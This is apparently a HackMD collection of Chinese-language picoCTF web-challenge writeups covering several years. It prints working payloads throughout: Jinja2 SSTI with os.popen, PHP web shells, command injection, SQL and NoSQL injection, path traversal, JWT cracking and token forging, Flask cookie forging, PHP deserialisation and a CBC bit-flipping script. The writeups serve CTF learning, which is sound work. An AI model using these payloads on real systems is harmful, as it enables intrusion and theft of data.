Try   HackMD

picoCTF Web writeup

picoCTF Web Challenge Writeup

picoCTF 2025

SSTI1

EASY

有一個輸入框 什麼都沒有檔 直接 SSTI 就好
payload :

{{lipsum.__globals__.os.popen('cat flag').read()}}

n0s4n1ty 1

EASY

有一個上傳頁面 題目沒有限制上傳內容 直接上傳一個簡單的 php shell

<?php system($_GET['cmd']); ?>

題目說 flag 在 /root 嘗試讀取發現看不到 用 sudo -l 查看有沒有不用密碼就可以執行的指令

Matching Defaults entries for www-data on challenge: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User www-data may run the following commands on challenge: (ALL) NOPASSWD: ALL

發現到全部的指令都可以執行 直接以 root 權限開啟 /root 底下的 flag.txt 就可以了

http://<url>/uploads/shell.php?cmd=sudo%20cat%20/root/flag.txt

head-dump

EASY

題目提到和後端有關 猜測是 API 找到 /api-docs 這個路徑
進到頁面後發現有一個叫 /heapdump 可以用來 dump 記憶體


用 curl dump 出來後 再用 grep 過濾出 flag 關鍵字

curl -s http://verbal-sleep.picoctf.net:61951/heapdump | grep "picoCTF{"

EASY

一個登入頁面 隨便登入後 cookie 就會多一個 secret_recipebase64 decode 就好了


Pachinko

MEDIUM

這題是一個有關 NAND 電路之類的東西 但其實不用管那麼多 我們只需要知道他在記憶體某個時候會送出第一個 flag
所以我們用爆破的 可以寫個腳本 也可以像我一樣用陽壽換 下面這張圖是我偶然按出來的


SSTI2

MEDIUM

這題有多了一些黑名單 所以直接用一個沒有 {{ }} _ . [ ] 的 payload 就過了

{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat${IFS}flag.txt')|attr('read')()%}{%print(a)%}{%endwith%}

3v@l

MEDIUM

這題是一題用 web 包裝的 pyjail 題目 提示說 flag 在 /flag.txt
嘗試直接 open('flag.txt') 但輸出 Error: Detected forbidden keyword
所以可以猜測會擋掉一些字元 經過測試後得出
payload : open(chr(47)+"flag"+"."+"txt").read()


WebSockFish

MEDIUM

這題是一個西洋棋的遊戲 根據提示可以知道跟 websocket 有關
嘗試移動棋子後從 burp suite 查看 websocket 紀錄 就可以知道送出的內容


從 source code 可以找到 websocket 的 URL

var ws_address = "ws://" + location.hostname + ":" + location.port + "/ws/";
const ws = new WebSocket(ws_address);

ws.onmessage = (event) => {
const message = event.data;
updateChat(message);
};

function sendMessage(message) {
ws.send(message);
}

function updateChat(message) {
const chatText = $("#chatText");
chatText.text(message);
}

得到這些資訊後 我們可以自己連接到 websocket 伺服器並傳送訊息

wscat -c ws://verbal-sleep.picoctf.net:57518/ws/

嘗試幾次後發現使用極大的負值就可以出 flag 了
payload : eval -9999999999


Apriti sesamo

MEDIUM

這題是一個登入頁面 根據提示的 backup emacs 我們可以嘗試在 php 後面加 ~

在 emacs 中 php~php 的備份檔案

http://verbal-sleep.picoctf.net:63073/impossibleLogin.php~

查看 source code 後會發現最下面多了一行經過混淆的 php 推測是這個登入頁面的原始碼

<?php
 if(isset($_POST[base64_decode("\144\130\x4e\154\x63\155\x35\x68\142\127\125\x3d")])&& isset($_POST[base64_decode("\143\x48\x64\x6b")])){$yuf85e0677=$_POST[base64_decode("\144\x58\x4e\154\x63\x6d\65\150\x62\127\x55\75")];$rs35c246d5=$_POST[base64_decode("\143\x48\144\153")];if($yuf85e0677==$rs35c246d5){echo base64_decode("\x50\x47\112\x79\x4c\172\x35\x47\x59\127\154\163\132\127\x51\x68\111\x45\x35\166\x49\x47\132\163\131\127\x63\x67\x5a\155\71\171\111\x48\x6c\166\x64\x51\x3d\x3d");}else{if(sha1($yuf85e0677)===sha1($rs35c246d5)){echo file_get_contents(base64_decode("\x4c\151\64\166\x5a\x6d\x78\x68\x5a\x79\65\60\145\110\x51\75"));}else{echo base64_decode("\x50\107\112\171\x4c\x7a\65\107\x59\x57\154\x73\x5a\127\x51\x68\x49\105\x35\x76\111\x47\132\x73\131\127\x63\x67\x5a\155\71\x79\x49\110\154\x76\x64\x51\x3d\75");}}}?>

可以看到程式碼中有很多的 UTF-8 字串 丟到 cyberchefunescape string 後得到

<?php
 if(isset($_POST[base64_decode("dXNlcm5hbWU=")])&& isset($_POST[base64_decode("cHdk")])){$yuf85e0677=$_POST[base64_decode("dXNlcm5hbWU=")];$rs35c246d5=$_POST[base64_decode("cHdk")];if($yuf85e0677==$rs35c246d5){echo base64_decode("PGJyLz5GYWlsZWQhIE5vIGZsYWcgZm9yIHlvdQ==");}else{if(sha1($yuf85e0677)===sha1($rs35c246d5)){echo file_get_contents(base64_decode("Li4vZmxhZy50eHQ="));}else{echo base64_decode("PGJyLz5GYWlsZWQhIE5vIGZsYWcgZm9yIHlvdQ==");}}}?>

看到有很多 base64 字串 於是把這些字串解密後 再整理一下程式後得到

<?php
if (isset($_POST['username']) && isset($_POST['pwd'])) {
    $yuf85e0677 = $_POST['username'];
    $rs35c246d5 = $_POST['pwd'];

    if ($yuf85e0677 == $rs35c246d5) {
        echo "<br/>Failed! No flag for you.";
    } else {
        if (sha1($yuf85e0677) === sha1($rs35c246d5)) {
            echo file_get_contents("../flag.txt");
        } else {
            echo "<br/>Failed! No flag for you.";
        }
    }
}
?>

現在很清楚了 我們可以發現 sha1 碰撞行不通 嘗試用陣列的方式繞過
這可以成功的原因是因為第一個 == 因為一個的值是 1 一個是 2 所以可以通過
第二個 === 因為 sha1() 傳入陣列會報錯所以值變成 null 兩個都是 null 就通過了
payload : username[]=1&pwd[]=2


secure-email-service [Not Solved]

HARD

Pachinko Revisited [Not Solved]

HARD


picoCTF 2024

WebDecode

EASY

這題很簡單,F12按下去,找到一串hash,直接base64


Unminify

EASY

這題感覺又更簡單,直接找就有了


IntroToBurp

EASY

根據題目先開Burp,網站一開始有個註冊頁面,隨便輸入後發現接著要2FA驗證,一樣隨便輸入,從Burp看到他只是送了一行otp=a,那我們把這行刪掉就可以了!


Bookmarklet

EASY

把題目給的script跑一次就過了


Trickster

MEDIUM

這題是一題經典的File upload的題目,先看看他的robots.txt,發現有兩個路徑


查看/instructions.txt,發現他只檢查最前面幾個bytes,於是我們就可以製作shell

網路上找一個簡單的php shell最上面加上PNG來bypass,因為也會檢查檔名,所以我把檔名設為test.png.php,再到HTML中把限制副檔名那個地方刪掉,成功上傳後透過剛剛發現的路徑進入到/uploads/test.png.php,就可以執行shell,ls後發現只有test.png.php,於是我們執行ls ../來查看上一層目錄,發現有個奇怪的檔案MFRDAZLDMUYDG.txt,打開它就得到flag了

PNG <html> <body> <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> <input type="SUBMIT" value="Execute"> </form> <pre> <?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?> </pre> </body> </html>

No Sql Injection

MEDIUM

這題給了一個登入的頁面 查看 source code 後發現是用 mongo DB
在根據題目可以知道會是 No SQL Injection

這段程式碼會建立一個用戶

// Store initial user const initialUser = new User({ firstName: "pico", lastName: "player", email: "picoplayer355@picoctf.org", password: crypto.randomBytes(16).toString("hex").slice(0, 16), }); await initialUser.save();

從這裡可以得知 flag 在 token 裡面 而 token 要在登入後才能得到

const userSchema = new mongoose.Schema({ email: { type: String, required: true, unique: true }, firstName: { type: String, required: true }, lastName: { type: String, required: true }, password: { type: String, required: true }, token: { type: String, required: false, default: "{{Flag}}" }, });

從登入頁面可以知道是使用 email 和 password 登入

用已知用戶和 payload 登入

email : picoplayer355@picoctf.org
password : {"$ne": null}

成功登入後在 Response 中可以找到 token
Base64 解碼後就可以得到 flag 了


elements [Not Solved]

HARD


picoCTF 2023

SOAP

MEDIUM

題目給了一個網站 發現按下 Details 會做 POST /data 的動作


用 BurpSuite 可以觀察到可能有 XXE Injection

找到 payload 後 再次 POST /data 就可以得到 flag 了


More SQLi

MEDIUM

這題給了一個登入頁面 從標題得知是 SQL Injection 嘗試簡單的 payload 後就可以成功登入了

username : admin
password : ' or 1=1 --

發現這裡還有一個查詢 可以推測也是 SQL Injection

因為有 City Address Phone 這三個欄位
可以推測查詢有三欄 用 UNION 來測試 成功注入後嘗試尋找有哪些表

從提示中得知使用的是 SQL Lite

搜尋到 SQL Lite 可以 dump 出所有 tables 的語法

'UNION SELECT name,sql,null FROM sqlite_master --

找到這些 tables 後發現在 more_table 中有 flag

使用語法指定 more_table 這張表來搜尋就可以得到 flag 了

'UNION SELECT flag,null,null FROM more_table --


MatchTheRegex

MEDIUM

這題給了一個驗證輸入的框框 通過驗證就會出 flag
找到驗證的這段 js

發現只要開頭為 picoCTF 就可以得到 flag 了


findme

MEDIUM

題目一開始是一個登入頁面 用給定的帳號 test 密碼 test! 登入
登入後捕捉到有兩個網址很特別 發現是兩段 base64 解碼後就可以得到 flag 了

echo 'cGljb0NURntwcm94aWVzX2FsbF90aGVfd2F5XzI1YmJhZTlhfQ==' | base64 -d

Java Code Analysis!?!

MEDIUM

這題是一個線上書店 用給定的帳號密碼登入後 查看收到的 Response 後發現有一段 jwt token

jwt-crackerrockyou.txt 爆破這段 jwt token 找到密碼 1234

jwt-cracker -t eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiRnJlZSIsImlzcyI6ImJvb2tzaGVsZiIsImV4cCI6MTczMDI3MzI5OSwiaWF0IjoxNzI5NjY4NDk5LCJ1c2VySWQiOjEsImVtYWlsIjoidXNlciJ9.7_smQO0ZdKAze1AzVWXyBsfsDwQM_Qr3PyjpzPWrtoM -d ~/Desktop/ctf/rockyou.txt

從這 Role.js 中可以知道 ID 要高一點 現在的是 1 所以我們改成 2

BookShelfConfig.java 中可以知道 Admin 的 Email 是 admin

jwt token 的編輯器製作 admin 的 token

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiQWRtaW4iLCJpc3MiOiJib29rc2hlbGYiLCJleHAiOjE3MzAyNzY1NjgsImlhdCI6MTcyOTY3MTc2OCwidXNlcklkIjoyLCJlbWFpbCI6ImFkbWluIn0.IW-GT6cMsxBsCDHvgOleIS-X3PSnR6txj5eujI9WJ-k

用這個 token 訪問 flag 頁面即可得到 flag


msfroggenerator2 [Not Solved]

HARD

cancri-sp [Not Solved]

HARD


picoCTF 2022

Local Authority

EASY

隨便登入一次後會有secure.js,裡面就有Admin的帳號和密碼


Inspect HTML

EASY

F12 > FLAG


Includes

EASY

style.cssscript.js裡面各有一半的flag


SQLiLite

MEDIUM

這的是一個登入頁面 用最簡單的 payload ' or 1=1 -- 就可以登入成功了
flag 就在 source code 裡面


SQL Direct

MEDIUM

這題給了 PostgreSQL 的連線資訊 登入進去後使用 \dt 列出所有 tables

使用 \d flags 來列出 flags 中的欄

最後用 SQL 語法讀取 flags 中的內容就可以找到 flag 了

SELECT * FROM flags;

Secrets

MEDIUM

這題給了一個普通的網站 查看 source code 發現有個 /serect/ 路徑

進入這個路徑後找到了另一個路徑 /hidden/

進到這裡後又找到另一個 /superhidden/

進到最後一個就可以找到 flag 了


Search source

MEDIUM

這題是一個很普通的網站 看起來沒什麼問題 根據提示說 flag 藏在 source code
按照提示用 httrack 把網站下載下來

httrack http://saturn.picoctf.net:57676/

grep 尋找有 picoCTF 的字串就可以找到 flag 了


Roboto Sans

MEDIUM

根據題目的 Roboto 推測和 robots.txt 有關
進入 robots.txt 後發現有一行看起來很像 base64

解碼後得到路徑 js/myfile.txt 進入 myfile.txt 就可以找到 flag 了


MEDIUM

題目一進來有個按鈕 按下去後發現 cookie 多了一個 isAdmin

把值改成 1 後重新整理頁面就可以得到 flag 了


Forbidden Paths

MEDIUM

這題是一個讀檔案的頁面 題目說 flag 在 /flag.txt 當前目錄是 /usr/share/nginx/html
使用點點斜就可以得到 flag

../../../flag.txt

noted [Not Solved]

HARD


Live Art [Not Solved]

HARD


picoMini by redpwn

caas

MEDIUM

index.js
const express = require('express'); const app = express(); const { exec } = require('child_process'); app.use(express.static('public')); app.get('/cowsay/:message', (req, res) => { exec(`/usr/games/cowsay ${req.params.message}`, {timeout: 5000}, (error, stdout) => { if (error) return res.status(500).end(); res.type('txt').send(stdout).end(); }); }); app.listen(3000, () => { console.log('listening'); });

這個網站只有一個功能,他會執行 cowsay 這個指令
在本地測試執行看看指令 發現可以執行 bash command

❯ cowsay `ls`
 ______
< test >
 ------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
❯ ls
test

payload : https://caas.mars.picoctf.net/cowsay/%60cat%20falg.txt%60


login

MEDIUM

這題是一個登入頁面,查看 index.js

index.js
(async () => { await new Promise((e) => window.addEventListener("load", e)), document.querySelector("form").addEventListener("submit", (e) => { e.preventDefault(); const r = { u: "input[name=username]", p: "input[name=password]" }, t = {}; for (const e in r) t[e] = btoa(document.querySelector(r[e]).value).replace(/=/g, ""); return "YWRtaW4" !== t.u ? alert("Incorrect Username") : "cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ" !== t.p ? alert("Incorrect Password") : void alert(`Correct Password! Your flag is ${atob(t.p)}.`); }); })();

發現這個登入的邏輯就把帳號密碼寫出來了
把密碼 cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ 做base64decode 後就可以得到 flag 了


notepad

HARD

app.py
from werkzeug.urls import url_fix from secrets import token_urlsafe from flask import Flask, request, render_template, redirect, url_for app = Flask(__name__) @app.route("/") def index(): return render_template("index.html", error=request.args.get("error")) @app.route("/new", methods=["POST"]) def create(): content = request.form.get("content", "") if "_" in content or "/" in content: return redirect(url_for("index", error="bad_content")) if len(content) > 512: return redirect(url_for("index", error="long_content", len=len(content))) name = f"static/{url_fix(content[:128])}-{token_urlsafe(8)}.html" with open(name, "w") as f: f.write(content) return redirect(name)

server.py 可以發現這個網頁可以建立一個新的頁面,並且會以數入內容的前 128 個字元為檔名的前半部分,後半部分則是字串隨機的數列
但他會過濾掉 _/因為後面會執行 url_fix 所以可以把 / 改為使用 \ 就可以 bypass 了

index.html
<!doctype html> {% if error is not none %} <h3> error: {{ error }} </h3> {% include "errors/" + error + ".html" ignore missing %} {% endif %} <h2>make a new note</h2> <form action="/new" method="POST"> <textarea name="content"></textarea> <input type="submit"> </form>

index.hmtl 中可以發現在 error 的部分會檢查 url 中 /?error= 的參數
/templates/errors/ 是否有一樣此檔名的 html
如果有就會用模板開啟這個檔案 如果沒有就會直接顯示參數
試著在 errors 建立一個測試檔案 在輸入匡輸入 ..\templates\errors\test
得到 https://notepad.mars.picoctf.net/templates/errors/test-QIRu4cYzeFM.html
使用 /?error= 訪問 test 就可以得到我們剛剛在輸入匡輸入的內容
https://notepad.mars.picoctf.net/?error=test-QIRu4cYzeFM

因為知道網站是用 flask 架的,所以可以使用 jinjia2 SSTI
要讓攻擊被模板讀取,就必須確保攻擊字段不會被當作檔名
因為檔名只會取前 128 個字元,所以可以塞一個長度為 128 的 padding 來 bypass
後面再串接上攻擊的語法

payload = `

..\templates\errors\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{{config}}

成功執行後 我們可以從 source code 知道 _/ 會被過濾掉 於是用超級 payload 就可以了

這個 payload 可以繞過 {{ }} _ . [ ]

final payload :

{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat${IFS}flag*')|attr('read')()%}{%print(a)%}{%endwith%}

picoCTF 2021

Cookies

EASY

有兩種解法,一種是自己慢慢try,把cookies try到18就有flag了,另一種是利用Burp的Intruder,把request送到Intruder,把我們要payload的部分變成§0§,到payload的頁面把數值設定為1~20,逐個去看response,到第18個就有了


Scavenger Hunt

EASY

一開始先看html,js和css,HTML中有第一段flag,mycss.css中有第二段flag,根據myjs.js中的提示可以推斷是指robots.txt中有第三段flag,根據robots.txt中提到apache可以推斷.htaccess中有第四段flag,根據剛剛.htaccess中說到是在mac上架的所以可以知道.DS_Store中有最後一段flag


GET aHEAD

EASY

這題進去後有兩個按鈕可以改變背景顏色 一個變紅色 一個變藍色
觀察 source code 發現一個是用 GET 一個是用 POST
curl 查看 Header 就可以找到 flag

curl --head http://mercury.picoctf.net:34561/index.php curl -I http://mercury.picoctf.net:34561/index.php

-I--head 都可以


Super Serial

MEDIUM

index.phps 查看 index.php 的 source code
發現還有cookie.phpauthentication.phpphps 查看他們的 source code

發現 authentication.php 可以直接進入 guest 登入後的頁面
cookie.php 發現會驗證 cookie

從上面我們知道他會取得解碼我們的 cookie 但因為我們 cookie 中沒有 is_guest 函數 所以會報錯
報錯後會執行我們送出去的字串 所以可以利用這點來指定要開啟的 log_file

題目說 flag 在 ../flag 自製 payload

<?php class access_log { public $log_file = "../flag"; } print(urlencode(base64_encode(serialize(new access_log())))) ?>

按照上面寫的解碼方式加密回去我們要搜尋的 flag
得到 payload 後在 authentication.php 建立一個 login cookie 並重新整理就可以得到 flag 了

TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9


Most Cookies

MEDIUM

cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"] app.secret_key = random.choice(cookie_names) @app.route("/") def main(): if session.get("very_auth"): check = session["very_auth"] if check == "blank": return render_template("index.html", title=title) else: return make_response(redirect("/display")) else: resp = make_response(redirect("/")) session["very_auth"] = "blank" return resp

根據上面的片段,可以知道會隨機從 cookie_names 裡面選一個當作 secret_key

@app.route("/display", methods=["GET"]) def flag(): if session.get("very_auth"): check = session["very_auth"] if check == "admin": resp = make_response(render_template("flag.html", value=flag_value, title=title)) return resp

這一個片段又告訴我們訪問 /display 時,會檢查 very_auth 是否為 admin
所以我們可以使用 flask-unsign 這套工具來暴力破解 secret_key

flask-unsign 是一套專門用來解密和破解 flask 的 ssesion cookie 的工具
可以使用預設的字典檔 flask-unsign[wordlist]
也可以不下載字典檔只使用 flask-unsign 即可

把 cookie 寫入 cookie.txt 再把 cookie_names 按照字典檔的方式寫入 wordlist.txt

snickerdoodle
chocolate chip
oatmeal raisin
gingersnap
shortbread
peanut butter
...

wordlist.txt

再按照官方文檔使用指令

flask-unsign --unsign --cookie < cookie.txt --wordlist wordlist.txt [*] Session decodes to: {'very_auth': 'blank'} [*] Starting brute-forcer with 8 threads.. [+] Found secret key after 28 attemptscadamia 'fortune'

找到 secret_key 後就可以製作 very_authadmin 的 session cookie

flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret 'fortune'

再把瀏覽器中的 cookie 替換為修改後的 cookie,接著只要訪問 /display 即可得到 flag


Web Gauntlet 2

MEDIUM

查看 filter.php 中被過濾的字元

Filters: or and true false union like = > < ; -- /* */ admin

簡單測試一下 SQL 語法

SELECT username, password FROM users WHERE username='a' AND password='a'

題目說需要使用 admin 登入,發現串接字元 || 沒有被 ban
所以可以把 admin 改用串接的方式

ad'||'min

在密碼的部分,因為沒辦法使用註解,我們可以從最常見的 payload 來思考

admin' or 1=1 --

最常見的這個 payload 在指定使用者名稱為 admin 後,確保第二個查詢恆正
所以我們現在需要讓查詢密碼的地方恆正,or 不能用的話改用is not

a'is not'b

這樣就可以成功登入了,接著到 filter.php 重新載入就可以得到 flag 了


Some Assembly Required 1

MEDIUM

這題給了一個檢查 flag 的網站,找到 G82XCw5CX3.js 得到一串 js

const _0x402c=['value','2wfTpTR','instantiate','275341bEPcme','innerHTML','1195047NznhZg','1qfevql','input','1699808QuoWhA','Correct!','check_flag','Incorrect!','./JIFxzHyW8W','23SMpAuA','802698XOMSrr','charCodeAt','474547vVoGDO','getElementById','instance','copy_char','43591XxcWUl','504454llVtzW','arrayBuffer','2NIQmVj','result'];const _0x4e0e=function(_0x553839,_0x53c021){_0x553839=_0x553839-0x1d6;let _0x402c6f=_0x402c[_0x553839];return _0x402c6f;};(function(_0x76dd13,_0x3dfcae){const _0x371ac6=_0x4e0e;while(!![]){try{const _0x478583=-parseInt(_0x371ac6(0x1eb))+parseInt(_0x371ac6(0x1ed))+-parseInt(_0x371ac6(0x1db))*-parseInt(_0x371ac6(0x1d9))+-parseInt(_0x371ac6(0x1e2))*-parseInt(_0x371ac6(0x1e3))+-parseInt(_0x371ac6(0x1de))*parseInt(_0x371ac6(0x1e0))+parseInt(_0x371ac6(0x1d8))*parseInt(_0x371ac6(0x1ea))+-parseInt(_0x371ac6(0x1e5));if(_0x478583===_0x3dfcae)break;else _0x76dd13['push'](_0x76dd13['shift']());}catch(_0x41d31a){_0x76dd13['push'](_0x76dd13['shift']());}}}(_0x402c,0x994c3));let exports;(async()=>{const _0x48c3be=_0x4e0e;let _0x5f0229=await fetch(_0x48c3be(0x1e9)),_0x1d99e9=await WebAssembly[_0x48c3be(0x1df)](await _0x5f0229[_0x48c3be(0x1da)]()),_0x1f8628=_0x1d99e9[_0x48c3be(0x1d6)];exports=_0x1f8628['exports'];})();function onButtonPress(){const _0xa80748=_0x4e0e;let _0x3761f8=document['getElementById'](_0xa80748(0x1e4))[_0xa80748(0x1dd)];for(let _0x16c626=0x0;_0x16c626<_0x3761f8['length'];_0x16c626++){exports[_0xa80748(0x1d7)](_0x3761f8[_0xa80748(0x1ec)](_0x16c626),_0x16c626);}exports['copy_char'](0x0,_0x3761f8['length']),exports[_0xa80748(0x1e7)]()==0x1?document[_0xa80748(0x1ee)](_0xa80748(0x1dc))[_0xa80748(0x1e1)]=_0xa80748(0x1e6):document[_0xa80748(0x1ee)](_0xa80748(0x1dc))[_0xa80748(0x1e1)]=_0xa80748(0x1e8);}

美化排版和格式後,看起來像是經過混淆的程式碼,丟到deobfuscate.io後做code review

(async () => { let _0x5f0229 = await fetch(_0x4e0e(0x1e9)); let _0x1d99e9 = await WebAssembly[_0x4e0e(0x1df)](await _0x5f0229[_0x4e0e(0x1da)]()); let _0x1f8628 = _0x1d99e9[_0x4e0e(0x1d6)]; exports = _0x1f8628.exports; })();

這邊可以發現他會 fetch 一個檔案

const _0x402c = ["value", "2wfTpTR", "instantiate", "275341bEPcme", "innerHTML", "1195047NznhZg", "1qfevql", "input", "1699808QuoWhA", "Correct!", "check_flag", "Incorrect!", "./JIFxzHyW8W", "23SMpAuA", "802698XOMSrr", "charCodeAt", "474547vVoGDO", "getElementById", "instance", "copy_char", "43591XxcWUl", "504454llVtzW", "arrayBuffer", "2NIQmVj", "result"]; const _0x4e0e = function (_0x553839, _0x53c021) { _0x553839 = _0x553839 - 0x1d6; let _0x402c6f = _0x402c[_0x553839]; return _0x402c6f; };

把上面的值代入 _0x4e0e 可以知道到他會回傳 0x1e9 - 0x1d6 也就是 19 的值

const _0x402c = ["value","2wfTpTR","instantiate","275341bEPcme","innerHTML","1195047NznhZg","1qfevql","input","1699808QuoWhA","Correct!","check_flag","Incorrect!","./JIFxzHyW8W","23SMpAuA","802698XOMSrr","charCodeAt","474547vVoGDO","getElementById","instance","copy_char","43591XxcWUl","504454llVtzW","arrayBuffer","2NIQmVj","result"]; const _0x4e0e = function (_0x553839, _0x53c021) { _0x553839 = _0x553839 - 0x1d6; let _0x402c6f = _0x402c[_0x553839]; return _0x402c6f; }; (function (_0x76dd13, _0x3dfcae) { const _0x371ac6 = _0x4e0e; while (!![]) { try { const _0x478583 = -parseInt(_0x371ac6(0x1eb)) + parseInt(_0x371ac6(0x1ed)) + -parseInt(_0x371ac6(0x1db)) * -parseInt(_0x371ac6(0x1d9)) + -parseInt(_0x371ac6(0x1e2)) * -parseInt(_0x371ac6(0x1e3)) + -parseInt(_0x371ac6(0x1de)) * parseInt(_0x371ac6(0x1e0)) + parseInt(_0x371ac6(0x1d8)) * parseInt(_0x371ac6(0x1ea)) + -parseInt(_0x371ac6(0x1e5)); if (_0x478583 === _0x3dfcae) break; else _0x76dd13["push"](_0x76dd13["shift"]()); } catch (_0x41d31a) { _0x76dd13["push"](_0x76dd13["shift"]()); } } })(_0x402c, 0x994c3); console.log(_0x402c[19])

因為他還會做一段混淆,把 _0x402c 中的順序打亂,所以直接把這段執行一次就可以得到混淆後的第 19 個值 ./JIFxzHyW8W
把這個 wasm 下載下來 http://mercury.picoctf.net:1896/JIFxzHyW8W
運用線上的 wasm2wat 就可以得到 flag 了

wat = webassembly text (wasm text)


Who are you?

MEDIUM

這題給了一個網站,但完全沒有其他提示,只有一句話
Only people who use the official PicoBrowser are allowed on this site!
根據提示給了一個 HTTP 的文檔可以推測通靈跟 HTTP Header 有關
在 HTTP Header 修改 User-Agent 為 PicoBrowser
這次提示訊息變了,下面我直接把每一關列出來

  1. Only people who use the official PicoBrowser are allowed on this site!
    • 更改 User-Agent 確保使用 PicoBrowser 訪問網站
    • User-Agent: PicoBrowser
  2. I don't trust users visiting from another site.
    • 使用 Referer 指定從哪裡訪問網站的
    • Referer: mercury.picoctf.net:46199
  3. Sorry, this site only worked in 2018.
    • 更改訪問日期至 2018
    • Date: Mon, 1 Jan 2018 00:00:00 GMT
  4. I don't trust users who can be tracked.
    • 把 DNT(DoNotTrack) 改為 1
    • DNT: 1
  5. This website is only for people from Sweden.
    • 隨便找一個 Sweden 的 IP 填進 X-Forwarded-For
    • X-Forwarded-For: 102.177.146.0
  6. You're in Sweden but you don't speak Swedish?
    • 找到 Sweden 的 Accept-Language 就可以了
    • Accept-Language: sv-SE

Some Assembly Required 2

MEDIUM

前面都跟上面那一題一樣的做法,差別在於把 wasm 丟到 wasm2wat 後並沒有直接顯示 flag

(data $d0 (i32.const 1024) "xakgK\5cNs>n;jl90;9:mjn9m<0n9::0::881<00?>u\00\00"))

原本 flag 這行變成了看不懂的字串,推測是加密後的字串
丟到 cyberchef 的 magic 自動辨識後得到

picoCT=kF{6f3bd18312ebf1e48f12282200948876}T88T88

把多餘的字元刪除就可以得到 flag 了


Web Gauntlet 3

MEDIUM

一樣先看 filter.php
Filters: or and true false union like = > < ; -- /* */ admin
發現上一次使用的都沒有被 ban 所以使用相同 payload 即可

ad'||'min
a'is not'b

More Cookies

MEDIUM

其實這題根本就是 Crypto
一進網站就只有要你變成 admin 查看 cookie 後發現有一個 auth

題目敘述:I forgot Cookies can Be modified Client-side, so now I decided to encrypt them!

根據題目敘述 因為有 C B C 三個大寫字母 所以可以推測出跟 CBC mode有關

用 Bit-flipping attack 爆破 admin cookie 後
用這個 cookie 重新載入頁面就可以得到 flag 了

solve script
import requests import base64 def main(): r = requests.Session() r.get("http://mercury.picoctf.net:34962/") cookie = r.cookies["auth_name"] decoded_cookie = base64.b64decode(cookie) raw_cookie = base64.b64decode(decoded_cookie) for position_idx in range(0, len(raw_cookie)): for bit_idx in range(0, 8): bitflip_guess = ( raw_cookie[0:position_idx] + ((raw_cookie[position_idx] ^ (1 << bit_idx)).to_bytes(1, "big")) + raw_cookie[position_idx + 1 :] ) guess = base64.b64encode(base64.b64encode(bitflip_guess)).decode() r = requests.get("http://mercury.picoctf.net:34962/", cookies={"auth_name": guess}) if "picoCTF{" in r.text: print(f"Admin Cookie : {guess}") return if __name__ == "__main__": main()

It is my Birthday

MEDIUM

根據題目敘述我們可以知道 這是一個簡單的 php md5 碰撞
collisions 中找到兩個 pdf 後 上傳上去就解開了


Bithug [Not Solved]

HARD

Some Assembly Required 4 [Not Solved]

HARD

Some Assembly Required 3 [Not Solved]

HARD


picoCTF 2020 Mini-Competition

Web Gauntlet

MEDIUM

這題要一路過五關的 SQL Injection

  1. Round 1
    filter : OR
    payload : admin'--/<any>
  2. Round 2
    filter : or and like = --
    payload : admin'/*/<any>
  3. Round 3
    filter : or and = like > < --
    payload : admin'/*/<any>
  4. Round 4
    filter : or and = like > < -- admin
    payload : ad'||'min';/<any>
  5. Round 5
    filter : or and = like > < -- union admin
    payload : ad'||'min';/<any>

都通關之後到 /filter.php 就可以看到原始碼了


picoCTF 2019

dont-use-client-side

EASY

這題是一個登入頁面 直接看原始碼就有破碎的 flag 按照順序拼起來就好


logon

EASY

一樣是個登入頁面 隨便登入後會發現多了一個 admin cookie


把 value 改成 True 再重新整理頁面就會出現 flag


Insp3ct0r

EASY

右鍵查看 html js css 就可以找到flag 了




where are the robots

EASY

查看 robots.txt 得到另一個路徑 /8028f.html 進去這個路徑就結束了


Irish-Name-Repo 1

MEDIUM

先從左邊選單找到登入頁面 /login.html 接著找到了一個隱藏的值叫 debug 把他從 0 改成 1


隨便登入後就可以看到 SQL 的語句 直接 SQL Injection

payload : admin' or 1=1 --#/<any>


Client-side-again

MEDIUM

這題一樣右鍵看 source code 找到下面這段關鍵的片段 這段看起來經過混淆 丟到 deobfuscater

